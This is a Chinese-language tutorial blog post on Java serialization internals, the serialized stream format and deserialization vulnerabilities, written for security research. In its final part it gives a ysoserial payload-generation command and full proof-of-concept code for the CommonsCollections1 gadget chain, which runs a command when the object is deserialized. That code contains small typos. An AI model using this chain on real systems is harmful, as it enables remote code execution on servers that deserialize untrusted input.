很多语言都内建了序列化操作来提供对象的传输与持久存储,Java也不例外,而Java的反序列化可以说是Java中最常见的安全漏洞之一(其实是最近写插件经常遇到),于是记录一下。。
序列化与反序列化 关于序列化,首先说下整体情况:
序列化的目标是类的实例对象,一个类包含代码,类属性(静态属性)和对象属性,只有对象属性是独属于实例对象的,即只有对象属性需要被序列化。
这些对象的属性不一定都需要被序列化,而且也不一定都可以序列化,比如一些io handler是无法序列化的,另外就是可能由于某种原因(如安全考量)不可以直接序列化存储,而需要对数据进行一些加密等操作再序列化。即序列化的过程需要能够可控。
序列化的流可以用一套单独的结构来描述,这相对虚拟机字节码等做了一个抽象能够实现更好的兼容,也能实现对序列化流做静态解析。这种结构描述的序列化输出结构应该包含对象的数据,以及对象所属的类,只有这样才能在反序列化时知道这些对象的数据应该属于哪个类的实例对象,恢复出对应的实例以使用相应的类的(静态或非静态)方法及类的属性(静态属性)。
已经暗示但还需要强调,一般序列化和反序列化发生在不同的应用里,反序列化时需要根据输入的序列化流查找对应的类,对其进行实例化,再对产生的实例进行赋值操作,恢复数据,这里若是指定的类不存在于当前ClassLoader及其上层加载器里,且无法在ClassPath找到对应类,反序列化将会无法成功,即指定的要反序列化的对象在目标那里必须能找到对应的类。
Java有多种序列化方式,如 :
1 2 3 4 5 6 7 ObjectInputStream.readObject ObjectInputStream.readUnshared XMLDecoder.readObject Yaml.load XStream.fromXML ObjectMapper.readValue JSON.parseObject
本篇只对它内建的序列化机制说明,对于Java内建的序列化,它的实现为:
使用实现java.io.Serializable
接口的方式来声明该类的属性会被序列化,该接口未定义任何功能,即用户只需要implement该接口即可,它会做的事是:该类的所有对象属性都会被序列化存储,该类的子类将会继承序列化特性,可以使用transient
修饰对象属性以表明不对该属性进行序列化。另外用户可以实现writeObject
和readObject
方法来自定义序列化与反序列化的过程。
另外可以使用java.io.Externalizable
接口来声明该类的属性会被序列化,与Serializable
不同,它默认不会序列化任何对象,需要用户自己实现writeExternal
和readExternal
方法以实现对指定对象进行序列化或反序列化。
使用java.io.ObjectOutputStream
的writeObject
(或者writeUnshared
,区别后面说)方法对对象进行序列化,使用java.io.ObjectInputStream
的readObject
方法进行反序列化。
下面的例子用于演示一个序列化与反序列化的全过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import java.io.*;class Person implements Serializable { public String lastName; static public String firstName; transient int age; Person() { age = 18 ; firstName = "mao" ; lastName = "beta" ; } } public class SeriaTest { public static void main (String[] args) throws Exception { Person mmz = new Person(); mmz.lastName = "B3ta" ; mmz.firstName = "Ma0" ; mmz.age = 20 ; System.out.println(String.format("before:\tln:%s\tfn:%s\tage:%d" , mmz.lastName, mmz.firstName, mmz.age)); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(mmz); mmz.lastName = "biubiu~" ; mmz.firstName = "miao~" ; mmz.age = 19 ; ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bis); Person nmmz = (Person) ois.readObject(); System.out.println(String.format("after:\tln:%s\tfn:%s\tage:%d" , nmmz.lastName, nmmz.firstName, nmmz.age)); } }
它的输出为:
1 2 before: ln:B3ta fn:Ma0 age:20 after: ln:B3ta fn:miao~ age:0
序列化流协议 流结构 在看别人插件时经常看到payload为16进制编码形式,通常以ACED0005
开头,或者base64以rO0AB
开头,这说明Java序列化不想php那么随性,根据官方文档 ,可以把流的层级关系表现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 stream: magic version contents //magic: ac ed version: 00 05 它们组合为序列化流头部 后接序列化内容 contents: //下面是递归定义 content contents content content: //一个content可以是一个object或者blockdata,后者被用于。。。 object: newObject: TC_OBJECT classDesc newHandle classdata[] // data for each class classDesc: newClassDesc nullReference (ClassDesc)prevObject // an object required to be of type // ClassDesc newHandle: // 在非共享模式下,被序列化的对象引用的对象在被多次引用时只有第一次会被真正序列化(即此处)并为其生成一个序号(即newHandle),该序号从开始 // 递增,之后再遇到引用了已经被序列化的类时秩序要引用对应的handle即可(见下面的prevObject) classdata: nowrclass: values // SC_SERIALIZABLE & classDescFlag && !(SC_WRITE_METHOD & classDescFlags) 按类描述符顺序排列的字段 wrclass objectAnnotation // SC_SERIALIZABLE & classDescFlag && SC_WRITE_METHOD & classDescFlags wrclass: nowrclass externalContents: // SC_EXTERNALIZABLE & classDescFlag && !(SC_BLOCKDATA & classDescFlags readExternal使用 externalContent: ( bytes) // primitive data object externalContents externalContent objectAnnotation: // SC_EXTERNALIZABLE & classDescFlag&& SC_BLOCKDATA & classDescFlags endBlockData contents endBlockData // contents written by writeObject // or writeExternal PROTOCOL_VERSION_2. newClass: TC_CLASS classDesc newHandle newArray: TC_ARRAY classDesc newHandle (int)<size> values[size] newString: TC_STRING newHandle (utf) TC_LONGSTRING newHandle (long-utf) newEnum: TC_ENUM classDesc newHandle enumConstantName enumConstantName: (String)object newClassDesc: TC_CLASSDESC className serialVersionUID newHandle classDescInfo //普通类描述 className: (utf) serialVersionUID: (long) classDescInfo: classDescFlags fields classAnnotation superClassDesc classDescFlags: (byte) // Defined in Terminal Symbols and Constants fields: (short)<count> fieldDesc[count] fieldDesc: primitiveDesc: prim_typecode fieldName objectDesc: obj_typecode fieldName className1 fieldName: (utf) classAnnotation: endBlockData: TC_ENDBLOCKDATA contents endBlockData // contents written by annotateClass superClassDesc: classDesc TC_PROXYCLASSDESC newHandle proxyClassDescInfo // 代理类描述由标志 接口数 接口名 类注解组成 proxyClassDescInfo: (int)<count> proxyInterfaceName[count] classAnnotation proxyInterfaceName: (utf) superClassDesc prevObject TC_REFERENCE (int)handle nullReference TC_NULL exception: TC_EXCEPTION reset (Throwable)object reset TC_RESET blockdata: blockdatashort: TC_BLOCKDATA (unsigned byte)<size> (byte)[size] blockdatalong: TC_BLOCKDATALONG (int)<size> (byte)[size]
如上,一个流由魔数,版本,内容组成,内容是递归定义的,总的来说一个对象由对象标志TC_OBJECT
,类描述结构和对象属性组成,其中类描述结构ClassDesc
最复杂,它会对普通类和动态代理类分开处理,一个对象的可序列化属性可能是其他对象,这些对象也会被序列化,在默认情况下只有第一次会被序列化,并为其生成一个handle,之后再遇到对该对象的引用只需引用该handle即可,在写插件的时候遇到的16进制的payload可以根据上面的格式进行分析,不过有专门的工具SerializationDumper 已经实现了该功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 # java -jar ysoserial.jar CommonsCollections1 "ipconfig" > cc1 # 生成payload # java -jar SerializationDumper-v1.1.jar -r cc1 # 解析payload STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 50 - 0x00 32 Value - sun.reflect.annotation.AnnotationInvocationHandler - 0x73756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572 serialVersionUID - 0x55 ca f5 0f 15 cb 7e a5 newHandle 0x00 7e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 2 - 0x00 02 Fields 0: Object - L - 0x4c fieldName Length - 12 - 0x00 0c Value - memberValues - 0x6d656d62657256616c756573 className1 TC_STRING - 0x74 newHandle 0x00 7e 00 01 Length - 15 - 0x00 0f Value - Ljava/util/Map; - 0x4c6a6176612f7574696c2f4d61703b 1: Object - L - 0x4c fieldName Length - 4 - 0x00 04 Value - type - 0x74797065 .....
此处,我们对照着sun.reflect.annotation.AnnotationInvocationHandler
查看它的结构,可以看到它内部拥有各属性,继续向下看各属性又为其他对象,这样逆向就能看出该payload的原理,可以更方便的跟踪数据流,进行调试排错等。
ObjectStreamClass 对象序列化会使用ObjectStreamClass
实例,该实例将会存储被序列化对象的各种信息,包括被序列化的域(对象属性),序列化UID,是使用Serializable
还是Externalizable
进行的序列化,序列化的类有没有实现一些特殊的方法等等,比如在java.io.ObjectInputStream.readObject()
中有如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 } else if (slotDesc.hasReadObjectMethod()) { ThreadDeath t = null ; boolean reset = false ; SerialCallbackContext oldContext = curContext; if (oldContext != null ) oldContext.check(); try { curContext = new SerialCallbackContext(obj, slotDesc); bin.setBlockDataMode(true ); slotDesc.invokeReadObject(obj, this ); ....
它的hasReadObjectMethod
就是依靠ObjectStreamClass
在实例化时,使用如下语句实现的:
1 2 3 readObjectMethod = getPrivateMethod(cl, "readObject" , new Class<?>[] { ObjectInputStream.class }, Void.TYPE);
反序列化漏洞 当反序列化的输入是可控的时,将可能导致反序列化漏洞:
浪费服务器资源造成拒绝服务
在如Cookie,User等处反序列化造成认证绕过
在利用链满足的条件下造成代码执行
此处之说第三点,它需要满足的条件是:
反序列化的输入点可控
目标上存在一个可序列化的类实现了private void readObject(java.io.ObjectInputStream in)
方法
这个可序列化类上的readObject
方法里有内容能够通过输入的序列化流控制,并能通过精心构造的利用链执行任意代码。
CommonsCollections1 上面已经说到,要由任意对象反序列化上升到远程代码执行上,需要目标系统的环境满足一些条件,这里以最广为人知的CommonsCollections1
作为例子,它用到了commons-collections 3.1
这个库,该库是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,它被广泛应用于各种Java应用的开发。(库通常是和应用绑定的,无法直接从升级系统来获取更新补丁,所以很多Java应用都可能引入它。 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[] {"calc.exe" })}; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new hashMap(); innerMap.put("value" , "value" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true ); Object instance = ctor.newInstance(Target.class, outerMap); File f = new File("payload.bin" ); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); }
如注释所述,这条利用链主要分为两步,第一步构造任意代码执行的对象,第二不构造能触发第一步构造对象里的代码的对象,将它们封装在一起作为一个序列化对象输出,在目标对其反序列化时将会造成任意代码执行,事实上该例所示特性已经被当作漏洞被修复,但是Apache Commons Collections
仍然存在其他数十种已知的利用链,而且其他库也可能存在利用链,从ysoserial 中可以看到一些其他组件的利用链。
参考
《What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.》- breenmachine
《OWASP AppSecCali 2015 - Marshalling Pickles》
Lib之过?Java反序列化漏洞通用利用分析